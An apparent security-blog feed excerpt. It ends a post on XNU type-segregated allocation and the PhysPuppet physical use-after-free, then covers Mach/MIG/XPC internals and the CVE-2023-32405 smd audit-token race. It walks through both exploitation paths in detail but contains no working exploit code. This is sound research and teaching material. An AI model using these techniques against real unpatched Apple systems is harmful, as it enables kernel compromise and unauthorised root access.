<p>The output has two limits worth stating. First, <code>zprint</code> names a type only where the kernel asked it to: a view gets its own line, like <code>kalloc.type7.512[site.struct coalition]</code>, when it was declared with <code>KT_PRIV_ACCT</code> for private accounting, and otherwise its allocations accumulate anonymously into the zone&rsquo;s totals (<code>osfmk/kern/kalloc.c</code>). <code>psemnode</code> is not one of the named ones. Second, and for the same reason, what identified <code>kalloc.type6.16</code> above was a measurement, not a lookup: allocate a known number of a known type, see which zone moves by that number. Recovering the full type-to-zone map means reading the <code>__kalloc_type</code> section out of a kernelcache. Either way the answer is only true until the next boot.</p>
<h2 id="physpuppet-six-steps-to-a-dangling-page-table-entry">PhysPuppet: six steps to a dangling page-table entry</h2>
<p>The other route gives up on choosing which object follows yours at a virtual address, and keeps the physical page after the kernel has stopped accounting for it.</p>
<p>The bug is CVE-2023-23536, found by Félix Poulin-Bélanger, fixed in iOS 16.4 and macOS 13.3, and credited by Apple to him and David Pan Ogea. Its preconditions are what make it worth walking: no root, no entitlement, no prior call to set anything up, and reachable from the ordinary App Sandbox. Apple&rsquo;s advisory carries no privilege qualifier at all, only that an app may be able to execute arbitrary code with kernel privileges. It is not reachable from the WebContent sandbox, which matters for a browser chain and not for a local one. The exploit is public in the <code>kfd</code> repository, and the code below is XNU&rsquo;s own, quoted from the writeup.</p>
<p>The kernel describes a process&rsquo;s address space as a list of <code>vm_map_entry</code> structures, each a start address, an end address, and the object backing that range. Dozens of functions assert that both addresses are page-aligned, and assertions are compiled out of release builds. So: what happens if an entry is not?</p>
<p>Six steps get there, with P for the 16KB page size.</p>
<p>The first uses a Mach Interface Generator (MIG) routine, <code>mach_memory_object_memory_entry_64()</code>, to create a named entry of size 2P+1; sizes are not rounded on that path. The second maps it with an initial size of <code>~0ULL</code>, which overflows the page rounding to zero, so the recovery path in <code>vm_map_enter_mem_object_helper()</code> takes the size from the named entry instead, <code>size = named_entry-&gt;size - offset</code>, giving 1P+1. The process&rsquo;s map now holds a live entry running from a page-aligned A to A+1P+1. The third step faults both of its pages, populating two page-table entries, at A and at A+1P, both readable and writable.</p>
<p>The fourth step is the bug. <code>vm_deallocate()</code> over that range calls <code>pmap_remove_options()</code>, which reaches this, in <code>osfmk/arm/pmap/pmap.c</code>:</p>
<pre><code class="language-c">        bpte = &amp;pte_p[pte_index(pt_attr, start)];
        epte = bpte + ((end - start) &gt;&gt; pt_attr_leaf_shift(pt_attr));
</code></pre>
<p><code>end - start</code> is 1P+1, and the shift discards the 1. The loop clears one page-table entry and stops. The second, at A+1P, survives with read and write permission. The alignment check that would have caught this does exist, inside a macro compiled only in development builds.</p>
<p>Releasing the port from the first step drops the last reference on the backing object, which returns both physical pages to the free list without disconnecting any mapping. That is step five, and it is where the two accounts of memory come apart: the process&rsquo;s map no longer covers A+1P, the hardware page tables still do, and the process cannot now exit without a panic reading &ldquo;Found inconsistent state in soon to be deleted L%d table&rdquo;. The sixth step buys that back, allocating a fresh entry over the same range and faulting only its first page, which restores agreement without touching the entry that matters.</p>
<p>What is left is a page-table entry in a userland process, read/write, pointing at a physical page the kernel believes is free. That is a <strong>physical use-after-free</strong>, PUAF, and the kernel will hand that page to whatever asks next.</p>
<h2 id="what-kalloc_type-does-not-cover">What kalloc_type does not cover</h2>
<blockquote>
<p><code>kalloc_type()</code> is completely irrelevant for this technique as it only provides protection against virtual address reuse, as opposed to physical address reuse.</p>
</blockquote>
<p>That is Félix&rsquo;s own assessment, and the rest of his list is as blunt. Kernel address space layout randomisation, KASLR, does not matter, because nothing here needs a kernel address until much later. Privileged Access Never, PAN, does not matter either: the attacker never dereferences a user pointer from the kernel, since the kernel is writing into its own page, which happens to also be mapped in userland. <code>zone_require()</code> and pointer authentication on data pointers are the two he rates highest, and both limit what you do <em>after</em> the page is yours.</p>
<p>The Page Protection Layer, PPL, the privileged context that owned page tables through iOS 16, does less here than expected. When it runs short of memory the kernel gives it pages from its own free queues, and PPL checks that each one has no mappings outside the physical aperture before taking ownership, panicking with &ldquo;page still has mappings&rdquo; if it does. One of your PUAF pages would fail that check. The exploit prevents the situation in advance, by filling PPL&rsquo;s free list so that it never has to ask for more.</p>
<h2 id="from-a-puaf-to-read-and-write">From a PUAF to read and write</h2>
<p>The pages are free and mapped. Turning that into read and write takes four moves, the same four for every PUAF bug, which is why kfd keeps them in a file separate from the vulnerabilities.</p>
<p>First, reach the pages. Freed pages go on the tail of a free queue and userland cannot see where. So take free pages back a few at a time, with <code>vm_copy()</code> on a purgeable region, and after each one scan every dangling page for the content you just wrote. When it shows up, the kernel has started handing out your pages. kfd takes them in chunks of four until a quarter of the PUAF pages are consumed, and calls its own heuristic gross, which it is.</p>
<p>Then fill them with an object that has a field worth driving. This is the ordinary spray, and the object list should look familiar by now: <code>psemnode</code> from <code>sem_open()</code>, <code>fileproc</code> from <code>dup()</code>, <code>kqworkloop</code> from <code>kqueue_workloop_ctl()</code>. The sandbox profile you are running under limits that list. PhysPuppet is reachable from an app, so sockets are available; Smith, the bug Félix found next, is reachable from WebContent, where <code>socket()</code> is denied and the whole read/write had to be rebuilt from what that profile allows.</p>
<p>Then find your object among the pages, by a magic value you set through a syscall, and overwrite exactly one pointer in it by writing through the dangling page-table entry. That pointer has to be one the kernel does not authenticate, which is the constraint doing the most work in this design.</p>
<p>Finally, make a syscall that dereferences it. In <code>kread_sem_open</code> the object is a <code>psemnode</code>, the corrupted field is <code>pinfo</code>, and <code>proc_info()</code> returns eight bytes from wherever it points, believing them to be a semaphore&rsquo;s uid and gid. In <code>kwrite_dup</code> the object is a <code>fileproc</code>, the field is <code>fp_guard</code>, and <code>change_fdguard_np()</code> writes eight bytes there. One kernel dereference each, at an address you chose.</p>
<p>Both have limits. The read pulls neighbouring fields in with the ones it wants, so an address at the very start of a page can fault on an unmapped predecessor. The write can neither store a zero nor overwrite a value that is already zero. kfd works around the second case in its own cleanup code and leaves the first as an exercise for the reader.</p>
<p>kfd spends its first read and write on a better read and write: it reads the file descriptor&rsquo;s <code>fg_ops-&gt;fo_kqfilter</code> to recover the KASLR slide, then overwrites the device number in the file&rsquo;s <code>specinfo</code> so an innocuous character device now indexes the performance-monitor driver, whose <code>ioctl</code> interface reads and writes arbitrary kernel memory by design. The initial primitive exists to buy a faster one.</p>
<p>Two things have to be undone. The device number and open count get restored on close, or the next open fails. And the process must not exit with a page-table entry the VM map does not know about, which is what the sixth step above was for.</p>
<h2 id="what-the-write-is-for">What the write is for</h2>
<p>Suppose all of that works, and you have arbitrary kernel read and write from an app on iOS 16. The old answer to what comes next was one sentence: patch your process&rsquo;s credentials and you are root, patch the MACF (Mandatory Access Control Framework) label and you are out of the sandbox. That answer is dead, and XNU&rsquo;s own source shows why.</p>
<pre><code class="language-c">ZONE_DEFINE_ID(ZONE_ID_KAUTH_CRED, &quot;cred&quot;, struct ucred, ZC_READONLY | ZC_ZFREE_CLEARMEM);
</code></pre>
<p><code>struct ucred</code> is allocated from a read-only zone (<code>bsd/kern/kern_credential.c</code>). The pointer to it moved out of <code>struct proc</code> into <code>struct proc_ro</code>, which is <code>ZC_READONLY</code> as well (<code>bsd/sys/proc_ro.h</code>, <code>bsd/kern/kern_proc.c</code>). And the MACF label those credentials point at, the one carrying the verdict from AMFI (Apple Mobile File Integrity) and the sandbox&rsquo;s profile, is in a read-only zone too, with its slots written through <code>zalloc_ro_update_field()</code> (<code>security/mac_label.c</code>). All three landed in the same release, xnu-8019.61.5, which shipped as iOS 15.2 and macOS 12.1.</p>
<p>Read-only here means the kernel&rsquo;s own mapping of that memory is read-only, enforced by PPL, and from iOS 17 and macOS 14 by the Secure Page Table Monitor on A15 and M2 silicon upwards. Writes go through a small set of allocator entry points that run in the privileged context. An arbitrary write at EL1, the privilege level XNU itself runs at, does not reach any of it.</p>
<p>So the endgame splits in two. Either you call one of those entry points, which means control flow, which means defeating pointer authentication, or you stay in data and go after state that is still ordinary kernel memory. kfd&rsquo;s device-number swap above is the second kind, and it is what &ldquo;data-only&rdquo; means in practice: no pointer forged, no control flow diverted, one integer changed in a structure that carries no permission and no credential.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p><strong><code>kalloc_type</code> (iOS 15, broadened through iOS 16).</strong> Replacement is now a same-bucket, per-boot problem.</p>
<p><strong>SPTM (A15 and M2 and later, iOS 17 and macOS 14 and later).</strong> The Secure Page Table Monitor replaced PPL, and it changes the terms this post is written in. XNU at EL1 may no longer write a page-table entry at all: every mapping is a call to <code>sptm_map_page()</code>, which SPTM validates against a type it keeps for each physical frame and a rule set for which types XNU is allowed to map. Changing a frame&rsquo;s type is a call into SPTM too, checked against what the calling domain may do. A PUAF is a user mapping that outlives the kernel&rsquo;s own account of a frame, so all of it now sits inside bookkeeping that XNU no longer owns. The three bugs in kfd were fixed in iOS 16.4, 16.5.1 and 17.0.</p>
<p><strong>MIE (A19 and A19 Pro in iPhone 17 and iPhone Air, September 2025, and the M5).</strong> Memory Integrity Enforcement tags allocations and checks the tag on every access, synchronously and on by default, over <code>kalloc_type</code> among other allocators. Linear overflows and ordinary use-after-free fault at the instruction that commits them instead of corrupting anything. The classes that survive are the ones that never cross a tag boundary: races, confusion between two types in one bucket, uninitialised reads, and writes that stay inside one correctly tagged object. The first public macOS kernel memory-corruption exploit on hardware with MIE enabled, in May 2026, was exactly that: two bugs, normal system calls only, from an unprivileged local user to a root shell on macOS 26.4.1, the build the hands-on above was run on.</p>
<p>The direction is consistent. Each of these takes away a way of controlling where an object lands, and none of them takes away what you can change in it once it has landed.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>A bug becomes an exploit when the attacker controls placement. <code>kalloc_type</code> is Apple making placement expensive, and the numbers are theirs: an 8% reallocation on a bug that used to be deterministic. PhysPuppet is the answer kfd gave in 2023: stop competing for virtual addresses and keep a physical page instead, where type segregation does not apply. That answer did not need a memory-corruption bug in the classic sense, since PhysPuppet is an arithmetic mistake in a page-table loop and the exploit around it never overflows anything.</p>
<p>The read and the write are where this post stops, and on iOS 16 that is no longer an ending. Credentials, labels and process state all moved into memory that a kernel write cannot touch, and reaching them now means making the kernel call the function that can. That is control flow, on a platform where the function pointers worth using are signed. Pointer authentication is <a href="/blog/pointer-authentication-arm64e/">the next post</a>: what the hardware actually signs, what it does not, and why an exploit that owns all of kernel memory still cannot simply call a function.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.</p>
<ul>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">XNU source</a>: <code>osfmk/kern/kalloc.h</code> for the type-signature granules, <code>osfmk/kern/kalloc.c</code> for the zone naming, the boot-time shuffle and the private-accounting rule, <code>osfmk/kern/zalloc.c</code> for zone metadata and sequestering, <code>bsd/kern/posix_sem.c</code> for the semaphore allocations used in the hands-on, <code>bsd/kern/kern_credential.c</code>, <code>bsd/sys/proc_ro.h</code> and <code>security/mac_label.c</code> for the read-only zones.</li>
<li>Félix Poulin-Bélanger, <a href="https://github.com/felix-pb/kfd">kfd</a>, the source of the whole second half: the writeup <a href="https://github.com/felix-pb/kfd/blob/main/writeups/physpuppet.md">PhysPuppet</a> for the six steps and the XNU code paths quoted above, and <a href="https://github.com/felix-pb/kfd/blob/main/writeups/exploiting-puafs.md">Exploiting PUAFs</a> for the definition of the primitive, the page-grabbing heuristic, the <code>kread_sem_open</code> and <code>kwrite_dup</code> methods, the performance-monitor bootstrap, and the mitigation assessment quoted directly.</li>
<li>Apple, <a href="https://support.apple.com/en-us/102880">About the security content of iOS 16.4 and iPadOS 16.4</a>, for CVE-2023-23536: impact, description, and credit to Félix Poulin-Bélanger and David Pan Ogea.</li>
<li>Apple Security Research, <a href="https://security.apple.com/blog/towards-the-next-generation-of-xnu-memory-safety/">Towards the next generation of XNU memory safety: kalloc_type</a>, the design document for type segregation, signatures and per-boot randomisation.</li>
<li>Apple Security Research, <a href="https://security.apple.com/blog/what-if-we-had-sockpuppet-in-ios16/">What if we had the SockPuppet vulnerability in iOS 16?</a>, for the quantified impact on a real exploit: the bucket of eleven types, 8% for a single replacement type, and the 92% ceiling.</li>
<li>Apple Security Research, <a href="https://security.apple.com/blog/memory-integrity-enforcement/">Memory Integrity Enforcement</a>, for what MIE covers on A19 and what it changes about linear overflows and use-after-free.</li>
<li>Moritz Steffin and Jiska Classen, <a href="https://arxiv.org/abs/2510.09272">Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves</a>, for SPTM&rsquo;s frame types, the <code>sptm_retype</code> and <code>sptm_map_page</code> interfaces, and the rule sets that decide which frame types XNU is allowed to map.</li>
<li>Brandon Azad, <a href="https://projectzero.google/2020/06/a-survey-of-recent-ios-kernel-exploits.html">A survey of recent iOS kernel exploits</a> (Project Zero, 2020), for the fake-port lineage this post&rsquo;s opening section summarises.</li>
<li>Calif.io (Bruce Dang, Dion Blazakis, Josh Maine), <a href="https://blog.calif.io/p/first-public-kernel-memory-corruption">First public macOS kernel memory corruption exploit on Apple M5</a> (May 2026), the data-only privilege escalation on hardware with MIE enabled.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #6: Mach messages, MIG and XPC</title>
      <link>https://sigreturn.com/blog/mach-mig-xpc/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/mach-mig-xpc/</guid>
      <pubDate>Sun, 12 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>macos</category>
      <category>xpc</category>
      <category>mach</category>
      <category>mig</category>
      <category>sandbox-escape</category>
      <description><![CDATA[<p>Every bug class in the <a href="/blog/iokit-attack-surface/">previous post</a> ended in corrupted memory, reached through a driver&rsquo;s dispatch table by a selector whose handler gets an argument it did not expect. The other local surface works differently. A sandboxed process can also send messages to a couple of dozen daemons, most of them running as root, and the interesting bugs there corrupt nothing at all. The daemon does exactly what it was written to do. It does it for the wrong caller.</p>
<p>That is a confused deputy, and on Apple platforms it has one mechanical cause. A service asks the IPC (inter-process communication) layer who is calling, and gets an answer that is true about the connection instead of true about the message it is holding. You cannot recognise that mistake in a disassembly until you know which function returns which answer. Mach and MIG below go only as deep as XPC, Apple&rsquo;s higher-level IPC framework, needs them to.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, Apple&rsquo;s own security advisories, and published research. The bug walked in detail, CVE-2023-32405, was fixed in macOS 13.4 in May 2023 and has a public writeup by the researcher who found it. There is no exploit, private detail, or 0day here.</p>
</div>
<h2 id="the-message-and-what-it-carries">The message, and what it carries</h2>
<p><a href="/blog/xnu-under-the-hood/">XNU under the hood</a> mapped a Mach port onto a file descriptor: an integer that means nothing outside the process holding it, standing in for a kernel object userland never sees. Sending to one is where that mapping stops being a convenience, because a Mach message can move a right and a <code>write()</code> cannot.</p>
<p>Every message starts with the same six fields, from <code>osfmk/mach/message.h</code>:</p>
<pre><code class="language-c">typedef struct {
    mach_msg_bits_t               msgh_bits;
    mach_msg_size_t               msgh_size;
    mach_port_t                   msgh_remote_port;
    mach_port_t                   msgh_local_port;
    mach_port_name_t              msgh_voucher_port;
    mach_msg_id_t                 msgh_id;
} mach_msg_header_t;
</code></pre>
<p><code>msgh_remote_port</code> is the destination, <code>msgh_local_port</code> the reply port, <code>msgh_size</code> the whole packet, <code>msgh_voucher_port</code> a send right to a voucher, which does no work in what follows, and <code>msgh_id</code> a number the receiver interprets however it likes.</p>
<p><code>msgh_bits</code> is the field doing the security-relevant work. Its low five bits hold the <em>disposition</em> of the remote port and bits 8 to 12 the disposition of the local port. A disposition says what the kernel does with a right as the message crosses: move it out of the sender, copy it so both ends hold one, or manufacture a send right from a receive right. Each of those is a reference count adjusted in the kernel, which is why the kernel bugs here are overwhelmingly lifetime bugs.</p>
<p>The top bit of <code>msgh_bits</code>, <code>MACH_MSGH_BITS_COMPLEX</code> (<code>0x80000000</code>), sorts every message into one of two kinds. With the bit clear the message is <em>simple</em>: the header is followed by a flat block of inline bytes and nothing else, the Mach equivalent of a plain <code>write()</code>. With the bit set it is <em>complex</em>, and what follows the header is not raw bytes but a descriptor count and that many descriptors, each naming something the kernel must act on as the message crosses rather than merely copy. Complex messages are where port rights and out-of-line memory travel, so they are where the bugs are. Three descriptor kinds carry the interesting things:</p>
<table>
<thead>
<tr>
<th>value</th>
<th>descriptor</th>
<th>carries</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td><code>MACH_MSG_PORT_DESCRIPTOR</code></td>
<td>one port right</td>
</tr>
<tr>
<td>1</td>
<td><code>MACH_MSG_OOL_DESCRIPTOR</code></td>
<td>out-of-line memory, delivered as a fresh copy-on-write mapping rather than inline</td>
</tr>
<tr>
<td>2</td>
<td><code>MACH_MSG_OOL_PORTS_DESCRIPTOR</code></td>
<td>an array of port rights</td>
</tr>
</tbody>
</table>
<p>Types 3 and 4 are a volatile flavour of out-of-line memory and a port right carrying a guard value. Two things matter to anyone reading a handler. The descriptors are not all the same size, so walking the array with a fixed stride breaks on the first out-of-line one, as XNU&rsquo;s own header warns. And the descriptor count, like every number here, was written by the sender: a handler that trusts it without reconciling against <code>msgh_size</code> is the classic complex-message bug.</p>
<h2 id="who-is-actually-calling">Who is actually calling</h2>
<p>Nothing in the header identifies the sender, who wrote all of it. What a receiver can trust is appended by the kernel past the end of the message, and only if the receiver asks: the trailer. Ask with <code>MACH_RCV_TRAILER_AUDIT</code> and it ends in an <code>audit_token_t</code>, which is eight unsigned integers and no field names. One function decides what goes in them, <code>proc_calc_audit_token()</code> in <code>bsd/kern/kern_prot.c</code>:</p>
<pre><code class="language-c">    audit_token-&gt;val[0] = my_cred-&gt;cr_audit.as_aia_p-&gt;ai_auid;
    audit_token-&gt;val[1] = my_pcred-&gt;cr_uid;
    audit_token-&gt;val[2] = my_pcred-&gt;cr_gid;
    audit_token-&gt;val[3] = my_pcred-&gt;cr_ruid;
    audit_token-&gt;val[4] = my_pcred-&gt;cr_rgid;
    audit_token-&gt;val[5] = proc_getpid(p);
    audit_token-&gt;val[6] = my_cred-&gt;cr_audit.as_aia_p-&gt;ai_asid;
    audit_token-&gt;val[7] = proc_pidversion(p);
</code></pre>
<p><code>val[1]</code> is the effective uid, so checking for root means checking that <code>val[1]</code> is zero. <code>val[5]</code> is the PID. <code>val[7]</code> is the PID version, which increases every time a proc slot goes to a new process. That last field is why a token beats a PID: a recycled PID comes back with a different version, so a token names a process and a PID names a slot.</p>
<p>The comment directly above that block says not to read it this way, and points at the BSM (Basic Security Module) library instead. Services read it this way anyway, and further down you will see a decompiled daemon indexing <code>val[1]</code> by hand.</p>
<h2 id="mig-the-stub-generator">MIG, the stub generator</h2>
<p>Hardly anyone interprets <code>msgh_id</code> themselves. MIG, the Mach Interface Generator, takes an interface description (a <code>.defs</code> file) and emits both halves: client stubs that pack arguments into a message, and a server demux that unpacks them and calls the function you wrote. The kernel is itself a MIG server, and so was every <code>IOConnectCall*</code> in the previous post.</p>
<p>A subsystem gets a base ID and routine <em>N</em> answers on <code>msgh_id = base + N</code>. The demux subtracts the base, bounds-checks the result, and indexes a table that records, per routine, how many argument words and how many descriptors to expect; a generated <code>__MIG_check__Request__&lt;routine&gt;_t()</code> rejects anything that does not match. That is the same arrangement as <code>IOExternalMethodDispatch</code>, with the same blind spot. It validates shape, never meaning: it does not check whether the port you passed is the kind of port the routine expects, and a routine that adds no checks of its own gets nothing else.</p>
<p>The other half of MIG is a convention that lives in no single function: what a routine returns decides who owns what arrived in the message. XNU says it outright in <code>ipc_kobject_server()</code>:</p>
<pre><code class="language-c">    if (reply == IKM_NULL ||
        ipc_kobject_reply_status(reply) == KERN_SUCCESS) {
        /*  The server function is responsible for the contents
         *  of the message. [...] */
        ipc_kmsg_free(request);
    } else {
        /*  The message contents of the request are intact. [...] */
        ipc_kmsg_destroy(request, ...);
    }
</code></pre>
<p>Return <code>KERN_SUCCESS</code> and MIG assumes the routine consumed every right and every out-of-line region, so it frees the buffer and nothing else. Return an error and MIG releases them for you. A routine that returns success on a path where it consumed nothing leaks the right, because <code>ipc_kmsg_free()</code> releases no references and the port can never be freed; one that consumed a right and then hit an error path has it released twice, because <code>ipc_kmsg_destroy()</code> releases everything the message still carries. voucher_swap, named in <em>XNU under the hood</em>, is the canonical instance, and its own violation is subtler: <code>task_swap_mach_voucher()</code> breaks the rules for an <code>inout</code> argument, leaking one voucher reference and consuming another it had only borrowed, both on the success path. Shape checks cannot see it, and they cannot see a routine that looks an object up by an ID from the message and then uses it as the wrong class, which is CVE-2024-54529 in <code>coreaudiod</code>, written up by Project Zero in January 2026.</p>
<h2 id="xpc-on-top">XPC on top</h2>
<p>libxpc puts a typed object model over raw Mach messages, dictionaries of typed values, and serializes one into a self-describing wire format inside a single complex message, with bulk data on out-of-line descriptors and file descriptors on port descriptors. That is why so few Apple services contain hand-written deserialization code.</p>
<p>A message is one of those dictionaries. The one the case study&rsquo;s exploit sends to <code>smd</code>, the macOS service-management daemon, carries a routine number, the identifier of the helper to install, and an authorization blob. Build it and print its description:</p>
<pre><code class="language-c">// clang xpcdump.c -o xpcdump &amp;&amp; ./xpcdump
#include &lt;xpc/xpc.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main(void) {
    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(msg, &quot;routine&quot;, 1004);
    xpc_dictionary_set_string(msg, &quot;identifier&quot;, &quot;com.example.helper&quot;);
    uint8_t authref[32] = {0};
    xpc_dictionary_set_data(msg, &quot;authref&quot;, authref, sizeof(authref));

    char *desc = xpc_copy_description(msg);
    printf(&quot;%s\n&quot;, desc);
    free(desc);
    return 0;
}
</code></pre>
<pre><code>&lt;dictionary: 0x104ce5a10&gt; { count = 3, transaction: 0, voucher = 0x0, contents =
    &quot;identifier&quot; =&gt; &lt;string: 0x104ce5aa0&gt; { string cache = 0x0, length = 18, contents = &quot;com.example.helper&quot; }
    &quot;routine&quot; =&gt; &lt;int64: 0x87320fd56e04b7e7&gt;: 1004
    &quot;authref&quot; =&gt; &lt;data: 0x104ce6020&gt;: { length = 32 bytes, contents = 0x000000000000000000000000000000000000000000000000... }
}
</code></pre>
<p>That description is the object graph, not the bytes on the wire: libxpc packs it into the body of one complex Mach message before it leaves. But it is what a service receives and what its handler walks key by key, and it is where a value of a type the handler did not expect, or a length it trusts, turns into a bug.</p>
<p>How a connection is set up is not documented by Apple, and what follows is the reverse engineering published by Sector 7, Computest&rsquo;s security-research team. A daemon declares its names under <code>MachServices</code> in its launchd plist, creates a port, keeps the receive right, and hands launchd a send right; a client that looks the name up gets a copy of that send right back. That port, the <em>service port</em>, is where connections are requested rather than where they live. The client makes two ports of its own and sends a message to the service port with <code>msgh_id</code> <code>0x77303074</code>, which is <code>'w00t'</code>, moving the receive right for the first and copying a send right for the second. The daemon then reads this client on the first and answers on the second.</p>
<p>Read that from the daemon&rsquo;s side. The port it receives a client&rsquo;s messages on is a port that client created, gave the receive right away for, and kept a send right to. A Mach port has one receiver and any number of senders, so nothing stops the client handing a copy of that send right to a third process. The whole case study below is that sentence.</p>
<p><code>NSXPCConnection</code> goes one level higher, turning messages into ObjC method calls whose arguments are <code>NSKeyedArchiver</code>-serialized and decoded against a per-argument list of allowed classes. Widen that list to a base class and arbitrary-class decoding is back.</p>
<h2 id="what-a-sandboxed-process-can-reach">What a sandboxed process can reach</h2>
<p>The reachable set is an intersection. launchd publishes the names, one plist at a time:</p>
<pre><code>$ plutil -p /System/Library/LaunchDaemons/com.apple.xpc.smd.plist
{
  &quot;AuxiliaryBootstrapperAllowDemand&quot; =&gt; true
  &quot;EnablePressuredExit&quot; =&gt; true
  &quot;Label&quot; =&gt; &quot;com.apple.xpc.smd&quot;
  &quot;LaunchEvents&quot; =&gt; { ... }
  &quot;MachServices&quot; =&gt; {
    &quot;com.apple.xpc.smd&quot; =&gt; true
  }
  &quot;ProcessType&quot; =&gt; &quot;Adaptive&quot;
  &quot;Program&quot; =&gt; &quot;/usr/libexec/smd&quot;
}
</code></pre>
<p>The single name under <code>MachServices</code>, <code>com.apple.xpc.smd</code>, is what a client resolves to a send right. The sandbox profile decides which of these names a process may look up: <a href="/blog/ios-sandbox/">The iOS sandbox</a> pulled that list out of a profile macOS ships as readable SBPL, and the <code>mach-lookup</code> allowances are the complete first-order IPC surface of a confined process. Anything past it is reached only through what one of those daemons will do on your behalf.</p>
<h2 id="the-confused-deputy">The confused deputy</h2>
<p>A service that is going to refuse anything has to answer one question first, and there are three ways to ask it.</p>
<table>
<thead>
<tr>
<th>what the service calls</th>
<th>what comes back</th>
<th>trustworthy</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>xpc_connection_get_pid()</code></td>
<td>the PID of the connection&rsquo;s peer</td>
<td>no</td>
</tr>
<tr>
<td><code>xpc_connection_get_audit_token()</code></td>
<td>the token cached on the connection, from the most recent message received</td>
<td>only inside the event handler</td>
</tr>
<tr>
<td><code>xpc_dictionary_get_audit_token()</code></td>
<td>the token from the Mach trailer of this message</td>
<td>yes</td>
</tr>
</tbody>
</table>
<p>The first row has been public for years. A PID is a slot number, and an attacker can send a request and then replace its own process image while keeping that PID, so a service looking it up afterwards resolves it to a binary it trusts. Samuel Groß laid the pattern out at WarCon in 2018, and Csaba Fitzl walked a real one as CVE-2020-14977.</p>
<p>The second row is the interesting one. libxpc requests the audit trailer on every message, and <code>_xpc_connection_set_creds</code> copies that token onto the connection, overwriting what was there. So the connection&rsquo;s token is not the caller&rsquo;s. It is whoever sent the most recent message to arrive on that port. Inside an event handler that is invisible, because XPC runs a connection&rsquo;s handlers strictly one at a time. Step outside the handler and it is not.</p>
<p>The third row reads the trailer of the message actually being handled. Both audit-token functions are private API on macOS. Apple&rsquo;s public XPC surface offers only the PID.</p>
<h2 id="cve-2023-32405-start-to-finish">CVE-2023-32405, start to finish</h2>
<p>Nothing is corrupted here: no overflow, no double-free, no use-after-free, no heap spray. It is a logic bug, an authorization check that reads its answer off the wrong place, and a race makes it exploitable: the value the check trusts is correct the instant it is written and wrong an instant later. That is time-of-check-to-time-of-use on a caller&rsquo;s identity, and <code>smd</code> is the confused deputy of the previous section, made to act as root for a caller that is not.</p>
<p>What the attacker needs first: local code execution as a normal user on macOS 13.3 or earlier, from an app bundle that already contains the helper tool it wants installed, and permission to reach two Mach services. No entitlement, no root, and the App Sandbox may be on. Sector 7 note this instance affects macOS only.</p>
<p><code>smd</code> is the service management daemon behind <code>SMJobBless</code>, the API that installs a <em>privileged helper tool</em>: a small binary shipped inside an app bundle that then runs as root, so an app can do the few things that need root without running as root itself. Doing it legitimately requires an authorization reference, which means prompting the user for a password. The goal is to install a helper without ever asking.</p>
<p>To decide whether the caller may do that, <code>smd</code> asks the <em>connection</em> for the caller&rsquo;s audit token and checks that its uid is zero, that is, that the caller is root. But a connection&rsquo;s audit token is whoever sent the most recent message on that port. So if a real root process drops a message onto the attacker&rsquo;s own connection to <code>smd</code> at the instant of that check, <code>smd</code> reads the root process&rsquo;s uid, concludes the attacker is root, and installs the helper. <code>smd</code> was told, truthfully, that the last message on that connection came from root.</p>
<p>Everything else is engineering that instant, and it has two parts: get a root process to send a message on the attacker&rsquo;s connection, and make its message land inside the check.</p>
<p>Take the check first. <code>SMJobBless</code> ends up calling routine 1004, and <code>smd</code> runs that routine&rsquo;s body through <code>dispatch_async</code>, on a queue that is <em>not</em> the XPC event handler. Inside an event handler the connection&rsquo;s token cannot change under you, because XPC delivers one message at a time; off the handler, on another queue, it can. The body calls <code>connection_is_unauthorized</code>, trimmed from Sector 7&rsquo;s decompilation:</p>
<pre><code class="language-c">  v5 = objc_retain(connection);
  v6 = objc_retain(message);
  xpc_connection_get_audit_token(v5, audit_token);
  // [1]: field 1 contains the UID, UID == 0 means root
  if ( audit_token[1] )
  {
    // [2]: Has a specific entitlement
    v9 = xpc_connection_copy_entitlement_value(v5, &quot;com.apple.private.xpc.unauthenticated-bless&quot;);
    if ( v9 != &amp;_xpc_bool_true )
    {
      // [3]: Passed in an authorization reference for the specified name
      data = xpc_dictionary_get_data(v6, &quot;authref&quot;, &amp;length);
      [...]
</code></pre>
<p>Three ways past it: be root, hold the entitlement, or produce the authorization reference. The first is <code>audit_token[1]</code>, the uid field from earlier, indexed by hand and read off the <em>connection</em> (<code>xpc_connection_get_audit_token</code>) rather than off the message. That is the call the attacker turns.</p>
<p>Now for the root process that has to send a message on that connection. The attacker&rsquo;s connection to <code>smd</code> is a port the attacker created and handed over, keeping a send right, and one receive right can have many senders. When the attacker opens a second connection, to a root-owned service, it chooses which port that service will answer on. <code>diagnosticd</code> is a convenient pick: it runs as root, and once asked to monitor a process it sends a status message several times a second. So the attacker connects to <code>diagnosticd</code> but, in place of the port <code>diagnosticd</code> would normally answer on, hands it a copy of the send right for the <code>smd</code> connection. <code>diagnosticd</code>&rsquo;s status messages then arrive on the connection <code>smd</code> already has with the attacker, and every one of them makes that connection&rsquo;s cached token root&rsquo;s.</p>
<p>Then it is a race. The attacker sets <code>diagnosticd</code> monitoring, so root messages are now streaming onto the connection, and spams routine 1004 at <code>smd</code>. <code>smd</code> reads <code>xpc_connection_get_pid()</code> first, and that has to still be the attacker&rsquo;s PID, because that is how <code>smd</code> finds which app bundle to install the helper from. A few instructions later it reads the cached audit token, and that one has to be <code>diagnosticd</code>&rsquo;s, so the uid check passes. Since <code>smd</code> leaves the connection open after refusing a message, the attacker just keeps firing until the timing lines up, and the helper installs as root.</p>
